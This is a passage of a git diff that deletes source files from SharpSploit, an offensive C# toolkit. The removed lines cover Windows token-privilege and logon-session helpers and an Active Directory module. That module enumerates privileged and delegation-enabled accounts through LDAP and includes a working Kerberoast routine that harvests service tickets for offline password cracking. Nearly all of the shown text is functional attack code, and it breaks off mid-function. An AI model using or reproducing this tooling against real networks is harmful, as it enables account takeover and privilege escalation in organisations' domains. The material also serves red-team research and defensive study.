- Win32.WinNT._LUID luid = new Win32.WinNT._LUID();
- if (!Win32.Advapi32.LookupPrivilegeValue(null, Privilege, ref luid))
- {
- Console.Error.WriteLine("LookupPrivilegeValue() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return false;
- }
-
- Win32.WinNT._LUID_AND_ATTRIBUTES luidAndAttributes = new Win32.WinNT._LUID_AND_ATTRIBUTES();
- luidAndAttributes.Luid = luid;
- luidAndAttributes.Attributes = Win32.WinNT.SE_PRIVILEGE_ENABLED;
-
- Win32.WinNT._TOKEN_PRIVILEGES newState = new Win32.WinNT._TOKEN_PRIVILEGES();
- newState.PrivilegeCount = 1;
- newState.Privileges = luidAndAttributes;
-
- Win32.WinNT._TOKEN_PRIVILEGES previousState = new Win32.WinNT._TOKEN_PRIVILEGES();
- UInt32 returnLength = 0;
- if (!Win32.Advapi32.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out returnLength))
- {
- Console.Error.WriteLine("AdjustTokenPrivileges() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return false;
- }
-
- return true;
- }
-
- internal class CreateUserProcessTokenException : Exception
- {
- public CreateUserProcessTokenException(string message) : base(message) { }
- }
-
- public class UserProcessToken
- {
- public string Username { get; }
- public Process Process { get; }
- public Win32.WinNT.TOKEN_TYPE TokenType { get; }
- public bool IsElevated { get; }
-
- public UserProcessToken(Process process)
- {
- this.Process = process;
- IntPtr hProcess = Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_LIMITED_INFORMATION, true, (UInt32)this.Process.Id);
- if (hProcess == IntPtr.Zero)
- {
- throw new CreateUserProcessTokenException("OpenProcess() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- }
-
- IntPtr hProcessToken;
- if (!Win32.Kernel32.OpenProcessToken(hProcess, (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, out hProcessToken))
- {
- throw new CreateUserProcessTokenException("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- }
- Win32.Kernel32.CloseHandle(hProcess);
-
- UInt32 dwLength = 0;
- Win32.WinNT._TOKEN_STATISTICS tokenStatistics = new Win32.WinNT._TOKEN_STATISTICS();
- this.TokenType = tokenStatistics.TokenType;
- if (!Win32.Advapi32.GetTokenInformation(hProcessToken, Win32.WinNT._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength))
- {
- if (!Win32.Advapi32.GetTokenInformation(hProcessToken, Win32.WinNT._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength))
- {
- throw new CreateUserProcessTokenException("GetTokenInformation() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- }
- }
- this.IsElevated = TokenIsElevated(hProcessToken);
- Win32.Kernel32.CloseHandle(hProcessToken);
-
- this.Username = ConvertTokenStatisticsToUsername(tokenStatistics);
- if (this.Username == null || this.Username == "")
- {
- throw new CreateUserProcessTokenException("No Username Error");
- }
- }
-
- private static string ConvertTokenStatisticsToUsername(Win32.WinNT._TOKEN_STATISTICS tokenStatistics)
- {
- IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Win32.WinNT._LUID)));
- Marshal.StructureToPtr(tokenStatistics.AuthenticationId, lpLuid, false);
- if (lpLuid == IntPtr.Zero)
- {
- Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return "";
- }
-
- IntPtr ppLogonSessionData = new IntPtr();
- if (Win32.Secur32.LsaGetLogonSessionData(lpLuid, out ppLogonSessionData) != 0)
- {
- Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return "";
- }
- if (ppLogonSessionData == IntPtr.Zero)
- {
- Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return "";
- }
-
- Win32.Secur32._SECURITY_LOGON_SESSION_DATA securityLogonSessionData = (Win32.Secur32._SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(ppLogonSessionData, typeof(Win32.Secur32._SECURITY_LOGON_SESSION_DATA));
- if (securityLogonSessionData.pSid == IntPtr.Zero || securityLogonSessionData.Username.Buffer == IntPtr.Zero || securityLogonSessionData.LoginDomain.Buffer == IntPtr.Zero)
- {
- Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return "";
- }
-
- if (Marshal.PtrToStringUni(securityLogonSessionData.Username.Buffer) == Environment.MachineName + "$")
- {
- string Username = ConvertSidToName(securityLogonSessionData.pSid);
- if (Username == null || Username == "")
- {
- Console.Error.WriteLine("No Username Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return "";
- }
- return Username;
- }
-
- return Marshal.PtrToStringUni(securityLogonSessionData.LoginDomain.Buffer) + "\\" + Marshal.PtrToStringUni(securityLogonSessionData.Username.Buffer);
- }
-
-
- public static string ConvertSidToName(IntPtr pSid)
- {
- StringBuilder lpName = new StringBuilder();
- UInt32 cchName = (UInt32)lpName.Capacity;
- StringBuilder lpReferencedDomainName = new StringBuilder();
- UInt32 cchReferencedDomainName = (UInt32)lpReferencedDomainName.Capacity;
- Win32.WinNT._SID_NAME_USE sidNameUser;
- Win32.Advapi32.LookupAccountSid(String.Empty, pSid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUser);
-
- lpName.EnsureCapacity((Int32)cchName);
- lpReferencedDomainName.EnsureCapacity((Int32)cchReferencedDomainName);
- if (Win32.Advapi32.LookupAccountSid(String.Empty, pSid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUser))
- {
- return "";
- }
- if (String.IsNullOrEmpty(lpName.ToString()) || String.IsNullOrEmpty(lpReferencedDomainName.ToString()))
- {
- return "";
- }
- return lpReferencedDomainName.ToString() + "\\" + lpName.ToString();
- }
- }
- }
-}
diff --git a/Source/SharpSploit/Enumeration/Domain.cs b/Source/SharpSploit/Enumeration/Domain.cs
deleted file mode 100644
index f62b4d9..0000000
--- a/Source/SharpSploit/Enumeration/Domain.cs
+++ /dev/null
@@ -1,1495 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System;
-using System.Linq;
-using System.DirectoryServices;
-using System.IdentityModel.Tokens;
-using System.Security.Principal;
-using System.Security.AccessControl;
-using System.Runtime.InteropServices;
-
-using System.Text.RegularExpressions;
-using System.Collections.Generic;
-
-using SharpSploit.Execution;
-
-namespace SharpSploit.Enumeration
-{
- ///
- /// Domain is a library for domain enumeration that can be used to search for and query for information from
- /// DomainObjects such as users, groups, and computers.
- ///
- ///
- /// Domain is adapted from Will Schroeder's (@harmj0y) PowerView (Found
- /// at https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
- ///
- public static class Domain
- {
- ///
- /// DomainSearcher is a LDAP searcher class for domain enumeration.
- ///
- ///
- /// DomainSearcher is adapted from Will Schroeder's (@harmj0y) PowerView. (Found
- /// at https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
- ///
- public class DomainSearcher
- {
- public Credential Credentials { get; set; } = null;
- private string Domain { get; set; }
- private string Server { get; set; }
- private DirectorySearcher DirectorySearcher { get; set; }
-
- ///
- /// Constructor for the DomainSearcher class.
- ///
- /// Optional alternative Credentials to authenticate to the Domain.
- /// Optional alternative Domain to authenticate to and search.
- /// Optional alternative Server within the Domain to authenticate to and search.
- /// Optional SearchBase to prepend to all LDAP searches.
- /// Optional SearchString to append to SearchBase for all LDAP searches.
- /// Optional SearchScope for the underlying DirectorySearcher object.
- /// Optional ResultPageSize for the underlying DirectorySearcher object.
- /// Optional max time limit for the server per search.
- /// Optionally retrieve deleted/tombstoned DomainObjects
- /// Optional SecurityMasks for the underlying DirectorySearcher object.
- public DomainSearcher(Credential Credentials = null, string Domain = "", string Server = "", string SearchBase = "", string SearchString = "", SearchScope SearchScope = SearchScope.Subtree,
- int ResultPageSize = 200, TimeSpan ServerTimeLimit = default(TimeSpan), bool TombStone = false, SecurityMasks SecurityMasks = SecurityMasks.None)
- {
- this.Credentials = Credentials;
- if (this.Credentials == null)
- {
- this.Credentials = Credential.EmptyCredential;
- }
- this.Domain = Domain;
- if (this.Domain == "")
- {
- this.Domain = Environment.UserDomainName;
- }
- this.Server = Server;
- if (this.Server == "")
- {
- string logonserver = Environment.GetEnvironmentVariable("logonserver");
- this.Server = logonserver.Replace("\\", "") + this.Domain;
- }
- if (SearchBase == "")
- {
- SearchBase = "LDAP://" + this.GetBaseDN();
- }
- DirectorySearcher searcher = null;
- if (this.Credentials != null && this.Credentials != Credential.EmptyCredential)
- {
- DirectoryEntry searchRoot = new DirectoryEntry(SearchBase + SearchString, Credentials.UserName, Credentials.Password);
- searcher = new DirectorySearcher(searchRoot);
- }
- else
- {
- searcher = new DirectorySearcher(SearchBase + SearchString);
- }
-
- searcher.SearchScope = SearchScope;
- searcher.PageSize = ResultPageSize;
- searcher.CacheResults = false;
- searcher.ReferralChasing = ReferralChasingOption.All;
- if (ServerTimeLimit != default(TimeSpan))
- {
- searcher.ServerTimeLimit = ServerTimeLimit;
- }
- searcher.Tombstone = TombStone;
- searcher.SecurityMasks = SecurityMasks;
- this.DirectorySearcher = searcher;
- }
-
- ///
- /// Gets a specified user `DomainObject` in the current Domain.
- ///
- /// Username to search for.
- /// Optional LDAP filter to apply to the search.
- /// Optional list of properties to retrieve from the DomainObject.
- /// If not specified, all properties are included.
- /// Optional filter to parse the userAccountControl DomainObject property.
- /// Optionally filter for only a DomainObject with an SPN set.
- /// Optionally filter for only a DomainObject that allows for delegation.
- /// Optionally filter for only a DomainObject that does not allow for delegation.
- /// Optionally filter for only a DomainObject with the AdminCount property set.
- /// Optionally filter for only a DomainObject that is trusted to authenticate for other DomainObjects
- /// Optionally filter for only a DomainObject does not require Kerberos preauthentication.
- /// Matching user DomainObject
- public DomainObject GetDomainUser(string Identity, string LDAPFilter = "", IEnumerable Properties = null, IEnumerable UACFilter = null, bool SPN = false, bool AllowDelegation = false, bool DisallowDelegation = false, bool AdminCount = false, bool TrustedToAuth = false, bool PreauthNotRequired = false)
- {
- return this.GetDomainUsers(new List { Identity }, LDAPFilter, Properties, UACFilter, SPN, AllowDelegation, DisallowDelegation, AdminCount, TrustedToAuth, PreauthNotRequired, true).FirstOrDefault();
- }
-
- ///
- /// Gets a list of specified (or all) user `DomainObject`s in the current Domain.
- ///
- /// Optional list of usernames to search for.
- /// Optional LDAP filter to apply to the search.
- /// Optional list of properties to retrieve from the DomainObject.
- /// If not specified, all properties are included.
- /// Optional filter to parse the userAccountControl DomainObject property.
- /// Optionally filter for only a DomainObject with an SPN set.
- /// Optionally filter for only a DomainObject that allows for delegation.
- /// Optionally filter for only a DomainObject that does not allow for delegation.
- /// Optionally filter for only a DomainObject with the AdminCount property set.
- /// Optionally filter for only a DomainObject that is trusted to authenticate for other DomainObjects
- /// Optionally filter for only a DomainObject does not require Kerberos preauthentication.
- /// Optionally find only the first matching DomainObject.
- /// List of matching user DomainObjects
- public List GetDomainUsers(IEnumerable Identities = null, string LDAPFilter = "", IEnumerable Properties = null, IEnumerable UACFilter = null, bool SPN = false, bool AllowDelegation = false, bool DisallowDelegation = false, bool AdminCount = false, bool TrustedToAuth = false, bool PreauthNotRequired = false, bool FindOne = false)
- {
- string Filter = "";
- string IdentityFilter = ConvertIdentitiesToFilter(Identities);
- if (IdentityFilter != null && IdentityFilter.Trim() != "")
- {
- Filter += "(|" + IdentityFilter + ")";
- }
- if (SPN)
- {
- Filter += "(servicePrincipalName=*)";
- }
- if (AllowDelegation)
- {
- Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))";
- }
- if (DisallowDelegation)
- {
- Filter += "(userAccountControl:1.2.840.113556.1.4.803:=1048574)";
- }
- if (AdminCount)
- {
- Filter += "(admincount=1)";
- }
- if (TrustedToAuth)
- {
- Filter += "(msds-allowedtodelegateto=*)";
- }
- if (PreauthNotRequired)
- {
- Filter += "(userAccountControl:1.2.840.113556.1.4.803:=4194304)";
- }
- if (UACFilter != null)
- {
- foreach (UACEnum uac in UACFilter)
- {
- Filter += "(userAccountControl:1.2.840.113556.1.4.803:=" + ((int)uac) + ")";
- }
- }
-
- Filter += LDAPFilter;
- this.DirectorySearcher.Filter = "(&(samAccountType=805306368)" + Filter + ")";
-
- if (Properties != null)
- {
- this.DirectorySearcher.PropertiesToLoad.Clear();
- this.DirectorySearcher.PropertiesToLoad.AddRange(Properties.ToArray());
- }
- List results = new List();
- try
- {
- if (FindOne)
- {
- results.Add(this.DirectorySearcher.FindOne());
- }
- else
- {
- var collection = this.DirectorySearcher.FindAll();
- foreach (SearchResult result in collection)
- {
- results.Add(result);
- }
- }
- }
- catch (Exception e)
- {
- Console.Error.WriteLine("Exception: Can't construct Domain Searcher: " + e.Message + e.StackTrace);
- }
- return ConvertSearchResultsToDomainObjects(results);
- }
-
- ///
- /// Gets a specified group `DomainObject` in the current Domain.
- ///
- /// Group name to search for.
- /// Optional LDAP filter to apply to the search.
- /// Optional list of properties to retrieve from the DomainObject.
- /// If not specified, all properties are included.
- /// Optionally filter for only a DomainObject with the AdminCount property set.
- /// Optionally filter for a GroupScope (DomainLocal, Global, Universal, etc).
- /// Optionally filter for a GroupProperty (Security, Distribution, CreatedBySystem,
- /// NotCreatedBySystem,etc)
- /// Matching group DomainObject
- public DomainObject GetDomainGroup(string Identity, string LDAPFilter = "", IEnumerable Properties = null, bool AdminCount = false, string GroupScope = "", string GroupProperty = "")
- {
- return this.GetDomainGroups(new List { Identity }, LDAPFilter, Properties, AdminCount, GroupScope, GroupProperty, true).FirstOrDefault();
- }
-
- ///
- /// Gets a list of specified (or all) group `DomainObject`s in the current Domain.
- ///
- /// Optional list of group names to search for.
- /// Optional LDAP filter to apply to the search.
- /// Optional list of properties to retrieve from the DomainObject.
- /// If not specified, all properties are included.
- /// Optionally filter for only a DomainObject with the AdminCount property set.
- /// Optionally filter for a GroupScope (DomainLocal, Global, Universal, etc).
- /// Optionally filter for a GroupProperty (Security, Distribution, CreatedBySystem,
- /// NotCreatedBySystem,etc).
- /// Optionally find only the first matching DomainObject.
- /// List of matching group DomainObjects
- public List GetDomainGroups(IEnumerable Identities = null, string LDAPFilter = "", IEnumerable Properties = null, bool AdminCount = false, string GroupScope = "", string GroupProperty = "", bool FindOne = false)
- {
- string Filter = "";
- string IdentityFilter = ConvertIdentitiesToFilter(Identities);
- if (IdentityFilter != null && IdentityFilter.Trim() != "")
- {
- Filter += "(|" + IdentityFilter + ")";
- }
- if (AdminCount)
- {
- Filter += "(admincount=1)";
- }
- if (GroupScope == "DomainLocal")
- {
- Filter += "(groupType:1.2.840.113556.1.4.803:=4)";
- }
- else if (GroupScope == "NotDomainLocal")
- {
- Filter += "(!(groupType:1.2.840.113556.1.4.803:=4))";
- }
- else if (GroupScope == "Global")
- {
- Filter += "(groupType:1.2.840.113556.1.4.803:=2)";
- }
- else if (GroupScope == "NotGlobal")
- {
- Filter += "(!(groupType:1.2.840.113556.1.4.803:=2))";
- }
- else if (GroupScope == "Universal")
- {
- Filter += "(groupType:1.2.840.113556.1.4.803:=8)";
- }
- else if (GroupScope == "NotUniversal")
- {
- Filter += "(!(groupType:1.2.840.113556.1.4.803:=8))";
- }
-
- if (GroupProperty == "Security")
- {
- Filter += "(groupType:1.2.840.113556.1.4.803:=2147483648)";
- }
- else if (GroupProperty == "Distribution")
- {
- Filter += "(!(groupType:1.2.840.113556.1.4.803:=2147483648))";
- }
- else if (GroupProperty == "CreatedBySystem")
- {
- Filter += "(groupType:1.2.840.113556.1.4.803:=1)";
- }
- else if (GroupProperty == "NotCreatedBySystem")
- {
- Filter += "(!(groupType:1.2.840.113556.1.4.803:=1))";
- }
-
- Filter += LDAPFilter;
- this.DirectorySearcher.Filter = "(&(objectCategory=group)" + Filter + ")";
-
- if (Properties != null)
- {
- this.DirectorySearcher.PropertiesToLoad.Clear();
- this.DirectorySearcher.PropertiesToLoad.AddRange(Properties.ToArray());
- }
- List results = new List();
- try
- {
- if (FindOne)
- {
- results.Add(this.DirectorySearcher.FindOne());
- }
- else
- {
- var collection = this.DirectorySearcher.FindAll();
- foreach (SearchResult result in collection)
- {
- results.Add(result);
- }
- }
- }
- catch (Exception e)
- {
- Console.Error.WriteLine("Exception: Can't construct Domain Searcher: " + e.Message + e.StackTrace);
- }
- return ConvertSearchResultsToDomainObjects(results);
- }
-
- ///
- /// Gets a specified computer `DomainObject` in the current Domain.
- ///
- /// ComputerName to search for
- /// Optional LDAP filter to apply to the search.
- /// Optional list of properties to retrieve from the DomainObject.
- /// If not specified, all properties are included.
- /// Optional filter to parse the userAccountControl DomainObject property.
- /// Optionally filter for only a DomainObject that has unconstrained delegation.
- /// Optionally filter for only a DomainObject that is trusted to authenticate for other DomainObjects
- /// Optionally return only a DomainObject that is a printer.
- /// Optionally filter for only a DomainObject with an SPN set.
- /// Optionally filter for only a DomainObject with a specific Operating System, wildcards accepted.
- /// Optionally filter for only a DomainObject with a specific service pack, wildcards accepted.
- /// Optionally filter for only a DomainObject in a specific Domain SiteName, wildcards accepted.
- /// Optional switch, ping the computer to ensure it's up before enumerating.
- /// Matching computer DomainObject
- public DomainObject GetDomainComputer(string Identity, string LDAPFilter = "", IEnumerable Properties = null, IEnumerable UACFilter = null, bool Unconstrained = false, bool TrustedToAuth = false, bool Printers = false, string SPN = "", string OperatingSystem = "", string ServicePack = "", string SiteName = "", bool Ping = false)
- {
- return this.GetDomainComputers(new List { Identity }, LDAPFilter, Properties, UACFilter, Unconstrained, TrustedToAuth, Printers, SPN, OperatingSystem, ServicePack, SiteName, Ping, true).FirstOrDefault();
- }
-
- ///
- /// Gets a list of specified (or all) computer `DomainObject`s in the current Domain.
- ///
- /// Optional list of ComputerNames to search for.
- /// Optional LDAP filter to apply to the search.
- /// Optional list of properties to retrieve from the DomainObject.
- /// If not specified, all properties are included.
- /// Optional filter to parse the userAccountControl DomainObject property.
- /// Optionally filter for only a DomainObject that has unconstrained delegation.
- /// Optionally filter for only a DomainObject that is trusted to authenticate for other DomainObjects
- /// Optionally return only a DomainObject that is a printer.
- /// Optionally filter for only a DomainObject with an SPN set.
- /// Optionally filter for only a DomainObject with a specific Operating System, wildcards accepted.
- /// Optionally filter for only a DomainObject with a specific service pack, wildcards accepted.
- /// Optionally filter for only a DomainObject in a specific Domain SiteName, wildcards accepted.
- /// Optional switch, ping the computer to ensure it's up before enumerating.
- /// Optionally find only the first matching DomainObject.
- /// List of matching computer DomainObjects
- public List GetDomainComputers(IEnumerable Identities = null, string LDAPFilter = "", IEnumerable Properties = null, IEnumerable UACFilter = null, bool Unconstrained = false, bool TrustedToAuth = false, bool Printers = false, string SPN = "", string OperatingSystem = "", string ServicePack = "", string SiteName = "", bool Ping = false, bool FindOne = false)
- {
- string Filter = "";
- string IdentityFilter = ConvertIdentitiesToFilter(Identities, DomainObjectType.Computer);
- if (IdentityFilter != null && IdentityFilter.Trim() != "")
- {
- Filter += "(|" + IdentityFilter + ")";
- }
-
- if (Unconstrained)
- {
- Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)";
- }
- if (TrustedToAuth)
- {
- Filter += "(msds-allowedtodelegateto=*)";
- }
- if (Printers)
- {
- Filter += "(objectCategory=printQueue)";
- }
- if (SPN != "")
- {
- Filter += "(servicePrincipalName=" + SPN + ")";
- }
- if (OperatingSystem != "")
- {
- Filter += "(operatingsystem=" + OperatingSystem + ")";
- }
- if (ServicePack != "")
- {
- Filter += "(operatingsystemservicepack=" + ServicePack + ")";
- }
- if (SiteName != "")
- {
- Filter += "(serverreferencebl=" + SiteName + ")";
- }
-
- Filter += LDAPFilter;
- if (UACFilter != null)
- {
- foreach (UACEnum uac in UACFilter)
- {
- Filter += "(userAccountControl:1.2.840.113556.1.4.803:=" + ((int)uac) + ")";
- }
- }
-
- this.DirectorySearcher.Filter = "(&(samAccountType=805306369)" + Filter + ")";
-
- List results = new List();
- try
- {
- if (FindOne)
- {
- results.Add(this.DirectorySearcher.FindOne());
- }
- else
- {
- var collection = this.DirectorySearcher.FindAll();
- foreach (SearchResult result in collection)
- {
- results.Add(result);
- }
- }
- }
- catch (Exception e)
- {
- Console.Error.WriteLine("Exception: Can't construct Domain Searcher: " + e.Message + e.StackTrace);
- }
- return ConvertSearchResultsToDomainObjects(results);
- }
-
- ///
- /// Gets `SPNTicket`s for specified `DomainObject`s.
- ///
- /// List of DomainObjects with an SPN set.
- /// List of SPNTickets for the specified DomainObjects
- public static List GetDomainSPNTickets(IEnumerable DomainObjects)
- {
- List tickets = new List();
- foreach (DomainObject ldap in DomainObjects)
- {
- tickets.Add(GetDomainSPNTicket(ldap));
- }
- return tickets;
- }
-
- ///
- /// Get `SPNTicket` for specified `DomainObject`.
- ///
- /// DomainObject with an SPN set.
- /// SPNTicker for the specified DomainObject
- public static SPNTicket GetDomainSPNTicket(DomainObject DomainObject)
- {
- var ticket = new KerberosRequestorSecurityToken(DomainObject.serviceprincipalname);
- if (ticket == null) { return null; }
- var ticketByteStream = ticket.GetRequest();
- if (ticketByteStream == null) { return null; }
- var tickethexstream = BitConverter.ToString(ticketByteStream).Replace("-", "");
-
- return new SPNTicket(DomainObject.serviceprincipalname, DomainObject.samaccountname, Environment.UserDomainName, tickethexstream);
- }
-
- ///
- /// Gets a list of `SPNTicket`s for specified (or all) users with a SPN set in the current Domain.
- ///
- /// Username to Kerberoast of a user with an SPN set.
- /// Optional LDAP filter when searching for users with an SPN set.
- /// Optional filter to parse the userAccountControl DomainObject property.
- /// If true, will only find a single SPNTicket for the first user found with an SPN set.
- /// List of SPNTickets
- public List Kerberoast(IEnumerable Identities = null, string LDAPFilter = "", IEnumerable UACFilter = null, bool FindOne = false)
- {
- return GetDomainSPNTickets(this.GetDomainUsers(Identities, LDAPFilter, null, null, true, false, false, false, false, false, FindOne).Where(U => U.samaccountname != "krbtgt").ToList());
- }
-
- ///
- /// Gets a list of `SPNTicket`s for specified (or all) users with a SPN set in the current Domain.
- ///
- /// Optional list of users to Kerberoast. If null, all users with an SPN set will be used.
- /// Optional LDAP filter when searching for users with an SPN set.
- /// Optional filter to parse the userAccountControl DomainObject property.
- /// List of SPNTickets
- public SPNTicket Kerberoast(string Identity, string LDAPFilter = "", IEnumerable UACFilter = null)
- {
- return GetDomainSPNTicket(this.GetDomainUser(Identity, LDAPFilter, null, null, true, false, false, false, false, false));
- }
-
- private string GetBaseDN()
- {
- return "DC=" + this.Domain.Replace(".", ",DC=");
- }
-
- private static List ConvertSearchResultsToDomainObjects(IEnumerable Results)
- {
- List ldaps = new List();
- foreach (SearchResult result in Results)
- {
- ldaps.Add(ConvertLDAPProperty(result));
- }
- return ldaps;
- }
-
- private static DomainObject ConvertLDAPProperty(SearchResult Result)
- {
- DomainObject ldap = new DomainObject();
- foreach (string PropertyName in Result.Properties.PropertyNames)
- {
- if (Result.Properties[PropertyName].Count == 0) { continue; }
- if (PropertyName == "objectsid")
- {
- ldap.objectsid = new SecurityIdentifier((byte[])Result.Properties["objectsid"][0], 0).Value;
- }
- else if (PropertyName == "sidhistory")
- {
- List historyListTemp = new List();
- foreach (byte[] bytes in Result.Properties["sidhistory"])
- {
- historyListTemp.Add(new SecurityIdentifier(bytes, 0).Value);
- }
- ldap.sidhistory = historyListTemp.ToArray();
- }
- else if (PropertyName == "grouptype")
- {
- try { ldap.grouptype = (GroupTypeEnum)Enum.Parse(typeof(GroupTypeEnum), Result.Properties["grouptype"][0].ToString()); }
- catch (Exception) { }
- }
- else if (PropertyName == "samaccounttype")
- {
- try { ldap.samaccounttype = (SamAccountTypeEnum)Enum.Parse(typeof(SamAccountTypeEnum), Result.Properties["samaccounttype"][0].ToString()); }
- catch (Exception) { }
- }
- else if (PropertyName == "objectguid")
- {
- ldap.objectguid = new Guid((byte[])Result.Properties["objectguid"][0]).ToString();
- }
- else if (PropertyName == "useraccountcontrol")
- {
- try { ldap.useraccountcontrol = (UACEnum)Enum.Parse(typeof(UACEnum), Result.Properties["useraccountcontrol"][0].ToString()); }
- catch (Exception) { }
- }
- else if (PropertyName == "ntsecuritydescriptor")
- {
- var desc = new RawSecurityDescriptor((byte[])Result.Properties["ntsecuritydescriptor"][0], 0);
- ldap.Owner = desc.Owner;
- ldap.Group = desc.Group;
- ldap.DiscretionaryAcl = desc.DiscretionaryAcl;
- ldap.SystemAcl = desc.SystemAcl;
- }
- else if (PropertyName == "accountexpires")
- {
- if ((long)Result.Properties["accountexpires"][0] >= DateTime.MaxValue.Ticks)
- {
- ldap.accountexpires = DateTime.MaxValue;
- }
- try
- {
- ldap.accountexpires = DateTime.FromFileTime((long)Result.Properties["accountexpires"][0]);
- }
- catch (ArgumentOutOfRangeException)
- {
- ldap.accountexpires = DateTime.MaxValue;
- }
- }
- else if (PropertyName == "lastlogon" || PropertyName == "lastlogontimestamp" || PropertyName == "pwdlastset" ||
- PropertyName == "lastlogoff" || PropertyName == "badPasswordTime")
- {
- DateTime dateTime = DateTime.MinValue;
- if (Result.Properties[PropertyName][0].GetType().Name == "System.MarshalByRefObject")
- {
- var comobj = (MarshalByRefObject)Result.Properties[PropertyName][0];
- int high = (int)comobj.GetType().InvokeMember("HighPart", System.Reflection.BindingFlags.GetProperty, null, comobj, null);
- int low = (int)comobj.GetType().InvokeMember("LowPart", System.Reflection.BindingFlags.GetProperty, null, comobj, null);
- dateTime = DateTime.FromFileTime(int.Parse("0x" + high + "" + low, System.Globalization.NumberStyles.HexNumber));
- }
- else
- {
- dateTime = DateTime.FromFileTime((long)Result.Properties[PropertyName][0]);
- }
- if (PropertyName == "lastlogon") { ldap.lastlogon = dateTime; }
- else if (PropertyName == "lastlogontimestamp") { ldap.lastlogontimestamp = dateTime; }
- else if (PropertyName == "pwdlastset") { ldap.pwdlastset = dateTime; }
- else if (PropertyName == "lastlogoff") { ldap.lastlogoff = dateTime; }
- else if (PropertyName == "badPasswordTime") { ldap.badpasswordtime = dateTime; }
- }
- else
- {
- string property = "0";
- if (Result.Properties[PropertyName][0].GetType().Name == "System.MarshalByRefObject")
- {
- var comobj = (MarshalByRefObject)Result.Properties[PropertyName][0];
- int high = (int)comobj.GetType().InvokeMember("HighPart", System.Reflection.BindingFlags.GetProperty, null, comobj, null);
- int low = (int)comobj.GetType().InvokeMember("LowPart", System.Reflection.BindingFlags.GetProperty, null, comobj, null);
- property = int.Parse("0x" + high + "" + low, System.Globalization.NumberStyles.HexNumber).ToString();
- }
- else if (Result.Properties[PropertyName].Count == 1)
- {
- property = Result.Properties[PropertyName][0].ToString();
- }
- else
- {
- List propertyList = new List();
- foreach (object prop in Result.Properties[PropertyName])
- {
- propertyList.Add(prop.ToString());
- }
- property = String.Join(", ", propertyList.ToArray());
- }
- if (PropertyName == "samaccountname") { ldap.samaccountname = property; }
- else if (PropertyName == "distinguishedname") { ldap.distinguishedname = property; }
- else if (PropertyName == "cn") { ldap.cn = property; }
- else if (PropertyName == "admincount") { ldap.admincount = property; }
- else if (PropertyName == "serviceprincipalname") { ldap.serviceprincipalname = property; }
- else if (PropertyName == "name") { ldap.name = property; }
- else if (PropertyName == "description") { ldap.description = property; }
- else if (PropertyName == "memberof") { ldap.memberof = property; }
- else if (PropertyName == "logoncount") { ldap.logoncount = property; }
- else if (PropertyName == "badpwdcount") { ldap.badpwdcount = property; }
- else if (PropertyName == "whencreated") { ldap.whencreated = property; }
- else if (PropertyName == "whenchanged") { ldap.whenchanged = property; }
- else if (PropertyName == "codepage") { ldap.codepage = property; }
- else if (PropertyName == "objectcategory") { ldap.objectcategory = property; }
- else if (PropertyName == "usnchanged") { ldap.usnchanged = property; }
- else if (PropertyName == "instancetype") { ldap.instancetype = property; }
- else if (PropertyName == "objectclass") { ldap.objectclass = property; }
- else if (PropertyName == "iscriticalsystemobject") { ldap.iscriticalsystemobject = property; }
- else if (PropertyName == "usncreated") { ldap.usncreated = property; }
- else if (PropertyName == "dscorepropagationdata") { ldap.dscorepropagationdata = property; }
- else if (PropertyName == "adspath") { ldap.adspath = property; }
- else if (PropertyName == "countrycode") { ldap.countrycode = property; }
- else if (PropertyName == "primarygroupid") { ldap.primarygroupid = property; }
- else if (PropertyName == "msds_supportedencryptiontypes") { ldap.msds_supportedencryptiontypes = property; }
- else if (PropertyName == "showinadvancedviewonly") { ldap.showinadvancedviewonly = property; }
- }
- }
- return ldap;
- }
-
- private static string ConvertIdentitiesToFilter(IEnumerable Identities, DomainObjectType ObjectType = DomainObjectType.User)
- {
- if (Identities == null) { return ""; }
- string IdentityFilter = "";
- foreach (string Identity in Identities)
- {
- if (Identity == null || Identity == "") { continue; }
- string IdentityInstance = Identity.Replace("(", "\\28").Replace(")", "\\29");
- if (Regex.IsMatch(IdentityInstance, "^S-1-"))
- {
- IdentityFilter += "(objectsid=" + IdentityInstance + ")";
- }
- else if (Regex.IsMatch(IdentityInstance, "^CN="))
- {
- IdentityFilter += "(distinguishedname=" + IdentityInstance + ")";
- }
- else if (ObjectType == DomainObjectType.Computer && IdentityInstance.Contains("."))
- {
- IdentityFilter += "(|(name=" + IdentityInstance + ")(dnshostname=" + IdentityInstance + "))";
- }
- else if (Regex.IsMatch(IdentityInstance, "^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$"))
- {
- byte[] bytes = new Guid(IdentityInstance).ToByteArray();
- string GuidByteString = "";
- foreach (Byte b in bytes)
- {
